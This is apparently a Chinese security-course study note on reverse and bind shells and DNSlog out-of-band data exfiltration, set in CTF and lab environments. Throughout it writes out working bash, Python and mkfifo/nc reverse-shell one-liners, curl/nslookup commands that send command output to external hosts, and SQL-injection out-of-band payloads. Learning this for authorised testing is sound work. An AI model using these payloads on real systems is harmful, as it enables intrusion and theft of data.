1. 内容整体设计与思路拆解
1.1 为什么你早晚得学会反弹shell
我在CTF靶场刷题、做授权测试的时候,遇到过不少这样的局面:明明拿到了一台主机的命令执行权限,弹出来一个webshell,正要往下走,发现各种难受——上传的菜刀马被杀干净、蚁剑连不上、虚拟终端一执行带外流量命令就断。最典型的一种情况是,服务器位于内网或者出网策略极其严格,你只能在那台机器上执行命令,却没法把流量带出来。
这时候你第一个想到的应该是:反弹shell。
所谓反弹shell,就是让目标机器主动向你的VPS或者本机发起一个TCP连接,把它的shell(通常是bash、cmd或者python交互式shell)交到你的手里。这与我们直觉里的“正向连接”刚好相反——正向连接是你连别人,反向连接是别人连你。
为什么要这么绕一圈?原因很简单:目标机器一般不具备直接对外开放端口的条件,但在绝大多数情况下,它作为客户端去访问外网IP的某个端口,是被允许的。这个“反向连接”的思路,几乎贯穿了从渗透测试到红蓝对抗的每一个阶段,也是DNSlog带外查询的基础思路所在——主动让目标服务器向外“发消息”,然后我们通过外部服务器接收这条消息。
1.2 从学习笔记的角度看Day5的知识定位
这份学习笔记放在2023年小迪安全课程的第5天,恰好是从“命令执行漏洞利用”迈向“权限获取交互”的关键节点。前几天的内容大概率还在讲Web漏洞的原理和利用方式,到了Day5,重心开始转向“拿到一次命令执行之后,如何把它升级成一个稳定可控的shell”,以及“在命令执行结果无法回显的情况下,如何利用DNS协议把目标机器的信息悄悄带出来”。
这两个知识点其实是相互关联的。反弹shell解决的是“交互”问题,让你从一次性的命令执行变成双向的终端对话。而DNSlog带外查询解决的是“无回显”问题,当你执行命令但页面上什么都不显示的时候,你有一个办法确认命令有没有执行成功、结果是什么。
对于新人来说,如果只停留在“会用payload”的层面,遇到真实环境稍一变种就抓瞎。所以这篇文章我不会只贴命令,我会把正反向连接的选择逻辑、反弹shell的构造原理、DNSlog的查询链路拆开揉碎,每个环节都补充我踩过的坑和思考过程。
2. 核心细节解析与实操要点
2.1 正向连接与反向连接:该选谁、怎么选
先给一个明确的定义对比,我用一个表格来说明,方便大家之后查阅。
| 连接类型 | 发起方 | 监听方 | 典型场景 | 前提条件 |
|---|---|---|---|---|
| 正向连接 | 攻击者 | 目标机器 | 目标机器有公网IP、防火墙允许入站 | 攻击者能直接访问目标机器的监听端口 |
| 反向连接 | 目标机器 | 攻击者 | 目标在内网、NAT后面、防火墙限制入站 | 目标机器能访问攻击者的公网IP和端口 |
你在实验室里也许觉得正向连接更简单,攻击机直接nc -lvvp 4444,目标机上执行nc -e /bin/sh 攻击机IP 4444,连接建立,搞定。但一旦面对真实场景,情况完全不同。
举一个我在内网测试中遇到的例子:目标是一台内网Web服务器,它只有一个内网IP 172.16.x.x,我通过Web漏洞拿到命令执行权限,但我的本机压根没法路由到172.16网段。如果我想用正向连接,就得在内网那台机器上开一个监听端口,然后找到一条通往那个网段的路——这在复杂网络环境下几乎不可行。而反向连接呢?目标服务器出网访问我的VPS,我的VPS有公网IP,端口我自由控制,连接自然就建立起来了。
还有一个很实际的问题:防火墙策略。绝大多数服务器的防火墙默认只放行80、443、53这类常规端口,像8080、4444、8888这些高端口,出站可能不做严格限制,但入站几乎都是Deny。目标机器主动向外连接,能最大程度地规避入站过滤的干扰。
所以结论其实很直接:默认优先反向连接,只有当你能直接访问目标网络、且目标入站策略宽松时,才考虑正向连接。这个选择逻辑,在后面构造payload的时候会反复用到。
2.2 反弹shell的底层原理:从一道命令吃透它
很多教程上来就让你执行:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1但新手往往看不懂这段命令到底在干什么。我先拆解一下这一条命令,把它弄明白了,后面不管换什么语言、什么工具写反弹shell,你都能举一反三。
这条命令可以分成三段来看:
bash -i:启动一个交互式的bash。>& /dev/tcp/192.168.1.100/4444:把标准输出和标准错误都重定向到/dev/tcp/192.168.1.100/4444这个特殊的设备文件。0>&1:把标准输入重定向到标准输出。
关键在于第二行的/dev/tcp/这个路径。在bash下它并不是一个真正存在于磁盘上的文件,而是一个特殊的网络重定向伪设备。当你向/dev/tcp/host/port写入数据时,bash会尝试与host:port建立一个TCP连接,并将你写入的内容发送到对端;从它读取数据时,就会接收对端发来的内容。
所以整条命令的效果就是:本地启动一个交互式bash,把这个bash的输入、输出、错误输出全部挂到一个TCP连接上。攻击者在这个连接的另一端,就获得了一个实时交互的shell。
如果一个payload看不懂,不要死记硬背。我强烈建议新手在VPS和自己本机之间做一次完整的连接实验,把每条命令拆开看,观察标准输入、标准输出、标准错误这三个文件描述符在哪一步被重定向了,你才能真正理解为什么这条命令能“反弹”shell。这也是我认为Day5学习中最值得花时间的地方。
2.3 DNSlog带外查询解惑:为什么用DNS而不是HTTP
谈到DNSlog,得先解释一个概念:带外数据(Out-of-Band,简称OOB)。当目标机器存在命令执行漏洞、但是执行结果无法直接回显在页面上时,我们称之为“无回显”或“盲注”场景。你没法直接从响应里看到命令的输出,这时候就需要想办法让数据“绕过”Web应用,走另一条通道传给外部服务器。
常见的带外通道有HTTP、DNS、ICMP、SMTP等,但DNSlog是其中最经典、最稳定的一种。因为DNS协议在互联网中几乎不会被完全屏蔽——你总得解析域名吧?如果连DNS都不让出去,那这台服务器基本无法上网了。
DNSlog的具体做法是,你在一个DNSLog平台上注册一个子域名,比如某个平台分配给你一个类似xxx.dnslog.cn的域名。然后你让目标机器执行:
whoami.xxx.dnslog.cn这一看就不是合法的完整域名,但由于DNS解析是逐级向前的,目标机器会向本地DNS服务器发起一个对whoami.xxx.dnslog.cn的查询请求。中间经过各级DNS服务器,最终会到达这个DNSLog平台所维护的权威DNS服务器。平台在你访问它的Web面板时,将这个查询记录展示给你看。这样一来,即使命令执行没有回显,你通过看到whoami.xxx.dnslog.cn这条记录,就知道whoami命令确实执行了,并且可以从一级域名字段中提取出结果。
我特别想强调一点:用DNS做带外查询,本质上利用的是“DNS解析请求日志”这个特性,而不是什么高深的技术漏洞。理解了这一点,你会发现它的应用远不止命令执行——SQL注入的盲注、XXE外部实体注入、无回显的RCE,几乎所有需要“无回显证明”的场景,都能套用这个思路。
3. 实操过程与核心环节实现
3.1 环境准备:本地靶场搭建与工具清单
在继续之前,先说清楚环境。我这里讲的都是CTF靶场和自建实验环境中的操作,任何未经授权的真实目标都是绝对不可触碰的。安全测试的基本素养,就是合法合规。
我搭建这套实验环境花了大概20分钟,大家可以照着准备:
- 攻击机:Kali Linux(IP:192.168.1.100),上面自带nc、python、bash,够用了。
- 目标机:Metasploitable 2 虚拟机(IP:192.168.1.200)或者直接开一个Ubuntu容器,主要用来模拟被控制的服务器。
- DNSLog平台:网上有很多公开的,比如 ceye.io(现在已经改了)或 dnslog.cn,注册一下就能拿到一个专属子域名。
有个小建议:本地练习的时候最好使用网络模式中的桥接模式或者同一Host-only网络,确保两台机器互相能ping通。我最初练习时用的是NAT模式,导致攻击机监听端口后目标机怎么也连不上,排查了半天才发现是虚拟机网络隔离的问题。
3.2 多种反弹Shell构造方式:从bash到python
3.2.1 基础款:Bash反弹
攻击机上先监听端口:
nc -lvvp 4444目标机上执行:
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1目标机连接过来的那一刻,攻击机终端会显示connect,然后你就能执行命令了。
这里有一个新手容易踩的坑:目标机的/bin/sh可能是dash而不是bash。有些Linux发行版把/bin/sh默认链接到了dash,dash并不支持/dev/tcp/这种语法,这时你用上面这条命令就会报错。解决方法是明确指定bash,比如:
/bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1或者用下面这条稍微更通用的写法:
bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'3.2.2 进阶款:Python反弹Shell
如果目标机器上没有bash,只有Python环境(这在很多容器环境里很常见),可以用Python来反弹。
攻击机同样先执行:
nc -lvvp 4444目标机上执行:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'这段代码的核心逻辑是:创建一个socket连接,然后用dup2把socket文件描述符复制到标准输入、标准输出、标准错误上,最后启动一个交互式的bash。这样,你在攻击机上往socket里发送的数据就变成了bash的输入,bash的输出也通过socket传回给攻击机。
3.2.3 当没有nc时的备选:NC的替代方案
有些精简环境的机器上既没有nc,也没有python,这时候怎么办?
如果你用的是常见的Linux发行版,大概率会有下面这条:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 4444 >/tmp/f这套方案通过命名管道(FIFO)来完成数据转发:把cat读到的内容交给/bin/sh执行,shell的输出经过nc发送到攻击机,攻击机发来的数据再写回这个管道。效果和上面一样,都是拿到一个交互shell。
我以前总觉得网上那些payload合集太长不好记,但后来发现,与其背几十条payload,不如理解一条核心思路:只要你能找一个方式把目标机器的输入输出接到TCP连接上,反弹shell就成立。语言和工具只是手段。
3.3 正反向连接的完整实操:从监听、观察到交互
我们接着把正向连接也做一遍,加深理解。
正向连接时,是在目标机器上监听端口。在目标机(Metasploitable)上执行:
nc -lvvp 5555 -e /bin/bash然后攻击机主动连接:
nc 192.168.1.200 5555连接建立后,攻击机可以直接执行命令。
但这里有个问题:nc -e参数在OpenBSD版本的netcat中是默认支持的,但很多Linux发行版使用的是传统netcat,并不支持-e选项。如果你在目标机上执行后报错invalid option -- 'e',那么正确的做法是用前面提到过的mkfifo方案,或者改用ncat:
ncat -lvvp 5555 -e /bin/bashKali自带的ncat是支持-e的。
我在实际测试中经常遇到的一个小麻烦是:在反弹shell里执行su、sudo这类需要TTY交互的命令时,会提示no tty present,或者干脆乱码、回显不完整。解决办法通常是用Python再升级一下shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'对于/dev/tcp这一类的交互连接,再配合export TERM=xterm设置终端类型,CRT或终端软件里的显示就会正常得多。这一条经验是实战中的高频需求,建议所有人收藏。
3.4 DNSlog带外查询完整实操:分步演示
接下来是DNSlog的实操。假设我拿到一个存在命令执行漏洞的靶场,但命令的执行结果不回显。
第一步,我去dnslog.cn注册并获取一个专属域名。假设分配给我的是xxxx.dnslog.cn。
第二步,我在漏洞点执行一个测试查询:
ping `whoami`.xxxx.dnslog.cn在Linux的shell里,反引号中的whoami会被先执行,然后把结果拼接到域名前缀中。如果目标机器上没有ping命令,也可以改用:
curl http://`whoami`.xxxx.dnslog.cn或者直接用nslookup:
nslookup `whoami`.xxxx.dnslog.cn第三步,回到dnslog.cn平台,点击“刷新记录”。如果平台上出现了一条类似这样格式的记录:
root.xxxx.dnslog.cn那么恭喜你,无回显命令执行被成功转化成了带外可见的数据。
需要注意的是,这里有个格式问题:如果命令输出包含空格或特殊字符(比如当前目录路径是/var/www/html),那DNS解析可能会因特殊符号而失败。常见的处理办法是用md5sum、base64编码或去掉特殊字符之后再拼接到域名上:
curl http://$(id | base64 -w0).xxxx.dnslog.cn这样即使输出中有空格,base64编码之后也只剩下字母、数字和=号,整体拼在域名前缀里解析起来更稳妥。=号在DNS解析中一般也能被接受,但为了保险起见,可以考虑去掉等号或做 hex 编码。
3.5 DNSLog查询的典型变体:SQL注入中的带外利用
如果你学过SQL注入盲注,肯定困惑过:一个个字符ascii(substr(...))猜太慢了,动不动就要爆破几百个请求。DNSlog给你提供了一条捷径。
在MySQL中,可以这样用(假设注入点在id参数):
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT DATABASE()), '.xxxx.dnslog.cn\\a'));MySQL的LOAD_FILE函数会读取本地文件,并且UNC路径(\\host\path)在Windows系统上会触发一次到指定主机的SMB连接请求。同理,构造指向DNSlog平台的UNC路径,就能让数据库服务器主动发起一次针对子域名的DNS查询。
在SQL Server中:
EXEC master..xp_dirtree '\\abc.xxxx.dnslog.cn\a';在Oracle中,也有类似利用UTL_HTTP.REQUEST或DBMS_LDAP等方式做带外请求的。
这个实践思路比较重要,因为很多新人以为DNSlog只能用于命令执行,其实它对SQL注入、XXE、甚至是SSRF都有用武之地。凡是能控制目标服务器“发请求”的地方,DNSlog都可能帮你把看不见的结果变成看得见的解析记录。
4. 常见问题与排查技巧实录
4.1 反弹Shell连接失败:先自查这四个环节
我见过很多人在练习时卡在“反弹shell怎么都弹不回来”,最后发现都是些小问题。我总结了一个自查顺序,希望能帮你省去排查时间。
| 排查项 | 检查内容 | 常见坑 |
|---|---|---|
| 监听状态 | 攻击机的nc是否真的在监听 | 忘了加-l参数,或者端口被占用 |
| 连通性 | 目标机到攻击机IP的连通性 | 不在同一网段、虚拟机NAT隔离 |
| 防火墙 | 攻击机是否屏蔽了入站端口 | VPS安全组策略没放行对应端口 |
| Shell兼容 | 目标机的/bin/sh是bash还是dash | 语法不支持导致命令执行报错 |
关于防火墙,这里多说一句。如果你用的是云VPS,不是家里电脑,那除了VPS本机的iptables之外,非常容易忘记的是云厂商的安全组规则——阿里云、腾讯云这类都得在控制台额外放行对应端口。我第一次用VPS试验时,本机iptables全开,结果连接一直不通,最后发现是安全组没放行tcp 4444,这个坑极为常见。
4.2 DNSLog查询无记录:大概率是这些原因
DNSlog查不到记录时,不要慌,按顺序排查。
第一,目标机器是否真的执行了命令?有些命令执行漏洞点了按钮但实际没生效,或者被WAF拦截了。此时可以先丢一条sleep之类的命令或者用http请求对比响应时间来判断。
第二,拼接的域名是否正确?如果你把命令输出和基础域名拼接错了,比如少了点号,整个字符串会被当成一个不存在的顶级域去查询,那DNSlog平台就不会收到那条记录。
第三,目标机器本身是否具备出网DNS能力?有些隔离网段会把DNS服务器指向内网自有DNS,而内网DNS不一定能向公网递归查询。这种情况比较少见,但在企业内网测试时会遇到。
第四,平台刷新延迟。大部分DNSLog平台是间隔几秒到几十秒刷新记录的,执行完命令后稍微等一会儿再刷新页面,不要立刻下结论。
4.3 TTY交互问题的处理心得
使用反弹shell时,最让人头疼的往往是交互体验——想用vim看文件,结果乱码;想用su切换用户,直接报错。这些问题的根源在于反弹shell没有分配一个真正的终端设备。
我建议在拿到shell后第一步就尝试升级为PTY。Linux下用Python一行实现:
python3 -c 'import pty;pty.spawn("/bin/bash")'如果目标上连Python都没有,试试script命令:
script /dev/null -qc /bin/bash紧接着用Ctrl+Z把当前会话挂到后台,在攻击机本地执行:
stty raw -echo fg export TERM=xterm这一套组合拳下来,VIM、su这类程序基本就能正常工作了。这个方法是我在打靶场的时候跟一个前辈学到的,当时觉得像是变魔术,后来理解了原理才知道只是TTY和终端信号的细节问题。
4.4 带外数据通道被封堵时如何应对
讨论到这里,要提醒一句:如果你的DNSlog平台域名被目标的安全设备识别并拦截了,那么所有带外查询都可能失效。这时候有几个备选思路。
一是换用自己注册的域名来做DNSLog。自己买一个域名,在云解析服务商处配一条A记录指向你的VPS,再用tcpdump抓53端口的DNS请求。这种方法不依赖任何第三方平台,灵活度高,适合长期测试。缺点是配置成本高一点,而且需要一台公网可访问的VPS。
二是尝试走HTTP通道。方法也不复杂,在自己的VPS上开一个Web服务并记录访问日志,然后让目标机器执行:
curl http://你的VPS/`whoami`看Web访问日志里的路径就能拿到结果。相比DNS协议,HTTP在某些环境里出网限制反而更松一些,可以两个通道相互补充。
三是用ICMP隧道类工具。这类方法在出网策略极其严格的情况下偶尔能奏效,但是配置复杂,且在大多数现代网络环境下ICMP也经常被限制,一般不作为首选方案。
我个人的体会是:DNSLog平台适合快速验证,自己搭HTTP日志服务适合长期稳定使用,ICMP隧道属于万不得已的备用手段。
5. 这篇笔记之外的延伸思考
5.1 把“带外思维”迁移到更多漏洞场景
Day5的内容学完之后,我有一个很强烈的感受:反弹shell和DNSlog带外查询,其实是同一种思维的两种表现——当你和目标之间的“直接通道”被堵死时,想尽办法让目标主动向你“汇报”。
这种带外思维可以迁移到很多漏洞场景中。比如你在测SSRF时,可以直接让目标请求一个DNSLog域名,验证SSRF是否存在、出网是否可达;测XXE时,可以通过外部实体引入的方式让目标服务器解析一个带外URL,把文件内容拼上去带出来;甚至在盲打的RCE场景里,你用DNSLog探测目标安装了什么语言环境,也远比一遍遍盲拍响应时间更高效。
很多年前我在一个CTF比赛里遇到过一道题,题目要求利用某个无回显的漏洞读取服务器上的一个flag文件,但页面上什么都不返回。当时我还没掌握DNSlog的技巧,只能一点点用时间盲注的思路猜,效率极低。后来复盘才发现,最简单的解法就是用DNSlog把文件内容带出来。Day5学完之后,这类题目基本就是送分题了。
5.2 对新手学习的建议:从一条命令开始练
如果你刚开始接触反弹shell,不要急着收集一堆五花八门的payload。我建议你按这个顺序来练:
第一步,先在自己本机做一次“自己连自己”的实验。开一个终端监听4444端口,另一个终端执行反弹shell命令,然后观察两个终端之间是否能互相输入输出。这一步能帮你确定环境没问题、命令没写错。
第二步,在虚拟机的两台机器之间做一次连接,感受真实的网络通信过程。
第三步,把DNSlog带外查询跑通,体会无回显数据是“怎么飞”出去的。
第四步,再尝试不同系统(Windows、Linux、Docker容器)下的不同payload构造。
这样渐进式地练习,比直接背一套命令来得扎实得多。安全测试这门手艺,细节决定成败,而细节只能从自己动手踩坑中获得。
我在实际带新人的时候经常看到一种现象:把一堆payload背得滚瓜烂熟,但一换环境就抓瞎,原因很简单——你不知道每条命令背后的设计意图,自然没法应对变化。如果你能把bash -i >& /dev/tcp/... 0>&1这条命令的每个符号都解释清楚,你的Day5学习就算真正达标了。
最后说一点实操层面的心里话:安全学习最容易陷入的误区是“为了炫技而学”,总想去打真实目标来证明自己。真正的高手,永远把基本功打磨放在第一位,在一个授权的靶场里把一个技术点吃透,比在十个真实站点上浅尝辄止有价值得多。希望这篇笔记能帮你把反弹shell、正反向连接和DNSlog带外查询这三个核心点真正串联起来,成为后续深入学习的地基。